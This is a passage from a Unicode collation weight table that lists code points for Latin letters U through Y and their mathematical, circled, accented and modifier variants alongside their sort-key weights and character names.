CAPITAL U -1D580 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL U -1D5B4 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL U -1D5E8 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL U -1D61C ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL U -1D650 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL U -1D684 ; [.1EB5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL U -24CA ; [.1EB5.0020.000C] # CIRCLED LATIN CAPITAL LETTER U -1F164 ; [.1EB5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER U -1D58 ; [.1EB5.0020.0014] # MODIFIER LETTER SMALL U -1D64 ; [.1EB5.0020.0015] # LATIN SUBSCRIPT SMALL LETTER U -1D41 ; [.1EB5.0020.001D] # MODIFIER LETTER CAPITAL U -1F144 ; [.1EB5.0020.001D] # SQUARED LATIN CAPITAL LETTER U -1F184 ; [.1EB5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER U -00FA ; [.1EB5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH ACUTE -00F9 ; [.1EB5.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH GRAVE -016D ; [.1EB5.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER U WITH BREVE -016C ; [.1EB5.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER U WITH BREVE -00FB ; [.1EB5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX -00DB ; [.1EB5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX -01D4 ; [.1EB5.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH CARON -016F ; [.1EB5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH RING ABOVE -016E ; [.1EB5.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH RING ABOVE -00FC ; [.1EB5.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH DIAERESIS -1DF4 ; [.1EB5.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER U WITH DIAERESIS -A79F ; [.1EB5.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK UE -00DC ; [.1EB5.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS -A79E ; [.1EB5.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK UE -01D8 ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01DC ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01DA ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -01D6 ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0171 ; [.1EB5.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1EB5.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0169 ; [.1EB5.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH TILDE -0168 ; [.1EB5.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH TILDE -1E79 ; [.1EB5.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH TILDE AND ACUTE -1E78 ; [.1EB5.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH TILDE AND ACUTE -0173 ; [.1EB5.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER U WITH OGONEK -0172 ; [.1EB5.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER U WITH OGONEK -016B ; [.1EB5.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON -1E7B ; [.1EB5.0020.0002][.0000.0032.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH MACRON AND DIAERESIS -1E7A ; [.1EB5.0020.0008][.0000.0032.0002][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS -1DF0 ; [.1EB5.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE -1EE7 ; [.1EB5.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HOOK ABOVE -1EE6 ; [.1EB5.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HOOK ABOVE -0215 ; [.1EB5.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER U WITH DOUBLE GRAVE -0214 ; [.1EB5.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE GRAVE -0217 ; [.1EB5.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER U WITH INVERTED BREVE -0216 ; [.1EB5.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER U WITH INVERTED BREVE -01B0 ; [.1EB5.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN -01AF ; [.1EB5.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN -1EE9 ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH HORN AND ACUTE -1EE8 ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE -1EEB ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE -1EEA ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE -1EEF ; [.1EB5.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH HORN AND TILDE -1EEE ; [.1EB5.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH HORN AND TILDE -1EED ; [.1EB5.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE -1EEC ; [.1EB5.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE -1EF1 ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW -1EF0 ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW -1EE5 ; [.1EB5.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH DOT BELOW -1EE4 ; [.1EB5.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH DOT BELOW -1E73 ; [.1EB5.0020.0002][.0000.0043.0002] # LATIN SMALL LETTER U WITH DIAERESIS BELOW -1E72 ; [.1EB5.0020.0008][.0000.0043.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS BELOW -1E77 ; [.1EB5.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW -1E76 ; [.1EB5.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW -1E75 ; [.1EB5.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER U WITH TILDE BELOW -1E74 ; [.1EB5.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER U WITH TILDE BELOW -1F1AB ; [.1EB5.0020.001D][.1D18.0020.001D][.1C8F.0020.001D] # SQUARED UHD -1F199 ; [.1EB5.0020.001D][.1E0C.0020.001D][*0260.0020.001C] # SQUARED UP WITH EXCLAMATION MARK -1D1C ; [.1EB9.0020.0002] # LATIN LETTER SMALL CAPITAL U -1DB8 ; [.1EB9.0020.0014] # MODIFIER LETTER SMALL CAPITAL U -AB4E ; [.1EBA.0020.0002] # LATIN SMALL LETTER U WITH SHORT RIGHT LEG -1D1D ; [.1EBB.0020.0002] # LATIN SMALL LETTER SIDEWAYS U -1D59 ; [.1EBB.0020.0014] # MODIFIER LETTER SMALL SIDEWAYS U -1D1E ; [.1EBC.0020.0002] # LATIN SMALL LETTER SIDEWAYS DIAERESIZED U -1D6B ; [.1EBD.0020.0002] # LATIN SMALL LETTER UE -AB50 ; [.1EBE.0020.0002] # LATIN SMALL LETTER UI -AB51 ; [.1EBF.0020.0002] # LATIN SMALL LETTER TURNED UI -0289 ; [.1EC0.0020.0002] # LATIN SMALL LETTER U BAR -0244 ; [.1EC0.0020.0008] # LATIN CAPITAL LETTER U BAR -1DB6 ; [.1EC0.0020.0014] # MODIFIER LETTER SMALL U BAR -AB4F ; [.1EC4.0020.0002] # LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG -1D7E ; [.1EC5.0020.0002] # LATIN SMALL CAPITAL LETTER U WITH STROKE -1D99 ; [.1EC6.0020.0002] # LATIN SMALL LETTER U WITH RETROFLEX HOOK -AB52 ; [.1EC7.0020.0002] # LATIN SMALL LETTER U WITH LEFT HOOK -AB5F ; [.1EC7.0020.0014] # MODIFIER LETTER SMALL U WITH LEFT HOOK -0265 ; [.1EC8.0020.0002] # LATIN SMALL LETTER TURNED H -A78D ; [.1EC8.0020.0008] # LATIN CAPITAL LETTER TURNED H -1DA3 ; [.1EC8.0020.0014] # MODIFIER LETTER SMALL TURNED H -02AE ; [.1ECC.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK -02AF ; [.1ED0.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL -026F ; [.1ED4.0020.0002] # LATIN SMALL LETTER TURNED M -019C ; [.1ED4.0020.0008] # LATIN CAPITAL LETTER TURNED M -1D5A ; [.1ED4.0020.0014] # MODIFIER LETTER SMALL TURNED M -A7FA ; [.1ED8.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED M -1D1F ; [.1ED9.0020.0002] # LATIN SMALL LETTER SIDEWAYS TURNED M -0270 ; [.1EDA.0020.0002] # LATIN SMALL LETTER TURNED M WITH LONG LEG -1DAD ; [.1EDA.0020.0014] # MODIFIER LETTER SMALL TURNED M WITH LONG LEG -028A ; [.1EDE.0020.0002] # LATIN SMALL LETTER UPSILON -01B1 ; [.1EDE.0020.0008] # LATIN CAPITAL LETTER UPSILON -1DB7 ; [.1EDE.0020.0014] # MODIFIER LETTER SMALL UPSILON -1D7F ; [.1EE2.0020.0002] # LATIN SMALL LETTER UPSILON WITH STROKE -0076 ; [.1EE3.0020.0002] # LATIN SMALL LETTER V -FF56 ; [.1EE3.0020.0003] # FULLWIDTH LATIN SMALL LETTER V -036E ; [.1EE3.0020.0004] # COMBINING LATIN SMALL LETTER V -2174 ; [.1EE3.0020.0004] # SMALL ROMAN NUMERAL FIVE -24B1 ; [*0317.0020.0004][.1EE3.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER V -1D42F ; [.1EE3.0020.0005] # MATHEMATICAL BOLD SMALL V -1D463 ; [.1EE3.0020.0005] # MATHEMATICAL ITALIC SMALL V -1D497 ; [.1EE3.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL V -1D4CB ; [.1EE3.0020.0005] # MATHEMATICAL SCRIPT SMALL V -1D4FF ; [.1EE3.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL V -1D533 ; [.1EE3.0020.0005] # MATHEMATICAL FRAKTUR SMALL V -1D567 ; [.1EE3.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL V -1D59B ; [.1EE3.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL V -1D5CF ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF SMALL V -1D603 ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL V -1D637 ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL V -1D66B ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL V -1D69F ; [.1EE3.0020.0005] # MATHEMATICAL MONOSPACE SMALL V -24E5 ; [.1EE3.0020.0006] # CIRCLED LATIN SMALL LETTER V -0056 ; [.1EE3.0020.0008] # LATIN CAPITAL LETTER V -FF36 ; [.1EE3.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER V -2164 ; [.1EE3.0020.000A] # ROMAN NUMERAL FIVE -1F125 ; [*0317.0020.0004][.1EE3.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER V -1D415 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD CAPITAL V -1D449 ; [.1EE3.0020.000B] # MATHEMATICAL ITALIC CAPITAL V -1D47D ; [.1EE3.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL V -1D4B1 ; [.1EE3.0020.000B] # MATHEMATICAL SCRIPT CAPITAL V -1D4E5 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL V -1D519 ; [.1EE3.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL V -1D54D ; [.1EE3.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL V -1D581 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL V -1D5B5 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL V -1D5E9 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL V -1D61D ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL V -1D651 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL V -1D685 ; [.1EE3.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL V -24CB ; [.1EE3.0020.000C] # CIRCLED LATIN CAPITAL LETTER V -1F165 ; [.1EE3.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER V -1D5B ; [.1EE3.0020.0014] # MODIFIER LETTER SMALL V -1D65 ; [.1EE3.0020.0015] # LATIN SUBSCRIPT SMALL LETTER V -2C7D ; [.1EE3.0020.001D] # MODIFIER LETTER CAPITAL V -1F145 ; [.1EE3.0020.001D] # SQUARED LATIN CAPITAL LETTER V -1F185 ; [.1EE3.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER V -1E7D ; [.1EE3.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER V WITH TILDE -1E7C ; [.1EE3.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER V WITH TILDE -1E7F ; [.1EE3.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER V WITH DOT BELOW -1E7E ; [.1EE3.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER V WITH DOT BELOW -2175 ; [.1EE3.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL SIX -2165 ; [.1EE3.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL SIX -2176 ; [.1EE3.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL SEVEN -2166 ; [.1EE3.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL SEVEN -2177 ; [.1EE3.0020.0004][.1D32.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL EIGHT -2167 ; [.1EE3.0020.000A][.1D32.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL EIGHT -33DE ; [.1EE3.0020.001D][*0625.0020.001C][.1DAA.0020.001C] # SQUARE V OVER M -1F1AC ; [.1EE3.0020.001D][.1DDD.0020.001D][.1C8F.0020.001D] # SQUARED VOD -1F19A ; [.1EE3.0020.001D][.1E71.0020.001D] # SQUARED VS -A761 ; [.1EE3.0020.0004][.1F0B.0020.0004] # LATIN SMALL LETTER VY -A760 ; [.1EE3.0020.000A][.1F0B.0020.000A] # LATIN CAPITAL LETTER VY -1D20 ; [.1EE7.0020.0002] # LATIN LETTER SMALL CAPITAL V -A75F ; [.1EE8.0020.0002] # LATIN SMALL LETTER V WITH DIAGONAL STROKE -A75E ; [.1EE8.0020.0008] # LATIN CAPITAL LETTER V WITH DIAGONAL STROKE -1D8C ; [.1EE9.0020.0002] # LATIN SMALL LETTER V WITH PALATAL HOOK -028B ; [.1EEA.0020.0002] # LATIN SMALL LETTER V WITH HOOK -01B2 ; [.1EEA.0020.0008] # LATIN CAPITAL LETTER V WITH HOOK -1DB9 ; [.1EEA.0020.0014] # MODIFIER LETTER SMALL V WITH HOOK -2C71 ; [.1EEE.0020.0002] # LATIN SMALL LETTER V WITH RIGHT HOOK -2C74 ; [.1EEF.0020.0002] # LATIN SMALL LETTER V WITH CURL -1EFD ; [.1EF0.0020.0002] # LATIN SMALL LETTER MIDDLE-WELSH V -1EFC ; [.1EF0.0020.0008] # LATIN CAPITAL LETTER MIDDLE-WELSH V -028C ; [.1EF1.0020.0002] # LATIN SMALL LETTER TURNED V -0245 ; [.1EF1.0020.0008] # LATIN CAPITAL LETTER TURNED V -1DBA ; [.1EF1.0020.0014] # MODIFIER LETTER SMALL TURNED V -0077 ; [.1EF5.0020.0002] # LATIN SMALL LETTER W -FF57 ; [.1EF5.0020.0003] # FULLWIDTH LATIN SMALL LETTER W -1DF1 ; [.1EF5.0020.0004] # COMBINING LATIN SMALL LETTER W -24B2 ; [*0317.0020.0004][.1EF5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER W -1D430 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD SMALL W -1D464 ; [.1EF5.0020.0005] # MATHEMATICAL ITALIC SMALL W -1D498 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL W -1D4CC ; [.1EF5.0020.0005] # MATHEMATICAL SCRIPT SMALL W -1D500 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL W -1D534 ; [.1EF5.0020.0005] # MATHEMATICAL FRAKTUR SMALL W -1D568 ; [.1EF5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL W -1D59C ; [.1EF5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL W -1D5D0 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL W -1D604 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL W -1D638 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL W -1D66C ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL W -1D6A0 ; [.1EF5.0020.0005] # MATHEMATICAL MONOSPACE SMALL W -24E6 ; [.1EF5.0020.0006] # CIRCLED LATIN SMALL LETTER W -0057 ; [.1EF5.0020.0008] # LATIN CAPITAL LETTER W -FF37 ; [.1EF5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER W -1F126 ; [*0317.0020.0004][.1EF5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER W -1D416 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD CAPITAL W -1D44A ; [.1EF5.0020.000B] # MATHEMATICAL ITALIC CAPITAL W -1D47E ; [.1EF5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL W -1D4B2 ; [.1EF5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL W -1D4E6 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL W -1D51A ; [.1EF5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL W -1D54E ; [.1EF5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL W -1D582 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL W -1D5B6 ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL W -1D5EA ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL W -1D61E ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL W -1D652 ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL W -1D686 ; [.1EF5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL W -24CC ; [.1EF5.0020.000C] # CIRCLED LATIN CAPITAL LETTER W -1F166 ; [.1EF5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER W -02B7 ; [.1EF5.0020.0014] # MODIFIER LETTER SMALL W -1D42 ; [.1EF5.0020.001D] # MODIFIER LETTER CAPITAL W -1F146 ; [.1EF5.0020.001D] # SQUARED LATIN CAPITAL LETTER W -1F186 ; [.1EF5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER W -1E83 ; [.1EF5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER W WITH ACUTE -1E82 ; [.1EF5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER W WITH ACUTE -1E81 ; [.1EF5.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER W WITH GRAVE -1E80 ; [.1EF5.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER W WITH GRAVE -0175 ; [.1EF5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER W WITH CIRCUMFLEX -0174 ; [.1EF5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER W WITH CIRCUMFLEX -1E98 ; [.1EF5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER W WITH RING ABOVE -1E85 ; [.1EF5.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER W WITH DIAERESIS -1E84 ; [.1EF5.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER W WITH DIAERESIS -1E87 ; [.1EF5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER W WITH DOT ABOVE -1E86 ; [.1EF5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER W WITH DOT ABOVE -1E89 ; [.1EF5.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER W WITH DOT BELOW -1E88 ; [.1EF5.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER W WITH DOT BELOW -33DD ; [.1EF5.0020.001D][.1C60.0020.001C] # SQUARE WB -1F14F ; [.1EF5.0020.001D][.1C7A.0020.001D] # SQUARED WC -1F18F ; [.1EF5.0020.001D][.1C7A.0020.001D] # NEGATIVE SQUARED WC -1F12E ; [.1EF5.0020.000C][.1F21.0020.000C] # CIRCLED WZ -1D21 ; [.1EF9.0020.0002] # LATIN LETTER SMALL CAPITAL W -2C73 ; [.1EFA.0020.0002] # LATIN SMALL LETTER W WITH HOOK -2C72 ; [.1EFA.0020.0008] # LATIN CAPITAL LETTER W WITH HOOK -028D ; [.1EFB.0020.0002] # LATIN SMALL LETTER TURNED W -0078 ; [.1EFF.0020.0002] # LATIN SMALL LETTER X -FF58 ; [.1EFF.0020.0003] # FULLWIDTH LATIN SMALL LETTER X -036F ; [.1EFF.0020.0004] # COMBINING LATIN SMALL LETTER X -2179 ; [.1EFF.0020.0004] # SMALL ROMAN NUMERAL TEN -24B3 ; [*0317.0020.0004][.1EFF.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER X -1D431 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD SMALL X -1D465 ; [.1EFF.0020.0005] # MATHEMATICAL ITALIC SMALL X -1D499 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL X -1D4CD ; [.1EFF.0020.0005] # MATHEMATICAL SCRIPT SMALL X -1D501 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL X -1D535 ; [.1EFF.0020.0005] # MATHEMATICAL FRAKTUR SMALL X -1D569 ; [.1EFF.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL X -1D59D ; [.1EFF.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL X -1D5D1 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF SMALL X -1D605 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL X -1D639 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL X -1D66D ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL X -1D6A1 ; [.1EFF.0020.0005] # MATHEMATICAL MONOSPACE SMALL X -24E7 ; [.1EFF.0020.0006] # CIRCLED LATIN SMALL LETTER X -0058 ; [.1EFF.0020.0008] # LATIN CAPITAL LETTER X -FF38 ; [.1EFF.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER X -2169 ; [.1EFF.0020.000A] # ROMAN NUMERAL TEN -1F127 ; [*0317.0020.0004][.1EFF.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER X -1D417 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD CAPITAL X -1D44B ; [.1EFF.0020.000B] # MATHEMATICAL ITALIC CAPITAL X -1D47F ; [.1EFF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL X -1D4B3 ; [.1EFF.0020.000B] # MATHEMATICAL SCRIPT CAPITAL X -1D4E7 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL X -1D51B ; [.1EFF.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL X -1D54F ; [.1EFF.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL X -1D583 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL X -1D5B7 ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL X -1D5EB ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL X -1D61F ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL X -1D653 ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL X -1D687 ; [.1EFF.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL X -24CD ; [.1EFF.0020.000C] # CIRCLED LATIN CAPITAL LETTER X -1F167 ; [.1EFF.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER X -02E3 ; [.1EFF.0020.0014] # MODIFIER LETTER SMALL X -2093 ; [.1EFF.0020.0015] # LATIN SUBSCRIPT SMALL LETTER X -1F147 ; [.1EFF.0020.001D] # SQUARED LATIN CAPITAL LETTER X -1F187 ; [.1EFF.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER X -1E8D ; [.1EFF.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER X WITH DIAERESIS -1E8C ; [.1EFF.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER X WITH DIAERESIS -1E8B ; [.1EFF.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER X WITH DOT ABOVE -1E8A ; [.1EFF.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER X WITH DOT ABOVE -217A ; [.1EFF.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL ELEVEN -216A ; [.1EFF.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL ELEVEN -217B ; [.1EFF.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL TWELVE -216B ; [.1EFF.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL TWELVE -1D8D ; [.1F03.0020.0002] # LATIN SMALL LETTER X WITH PALATAL HOOK -AB56 ; [.1F04.0020.0002] # LATIN SMALL LETTER X WITH LOW RIGHT RING -AB57 ; [.1F05.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG -AB58 ; [.1F06.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING -AB59 ; [.1F07.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF -AB53 ; [.1F08.0020.0002] # LATIN SMALL LETTER CHI -A7B3 ; [.1F08.0020.0008] # LATIN CAPITAL LETTER CHI -AB54 ; [.1F09.0020.0002] # LATIN SMALL LETTER CHI WITH LOW RIGHT RING -AB55 ; [.1F0A.0020.0002] # LATIN SMALL LETTER CHI WITH LOW LEFT SERIF -0079 ; [.1F0B.0020.0002] # LATIN SMALL LETTER Y -FF59 ; [.1F0B.0020.0003] # FULLWIDTH LATIN SMALL LETTER Y -24B4 ; [*0317.0020.0004][.1F0B.0020.0004][*0318.0020.0004] # 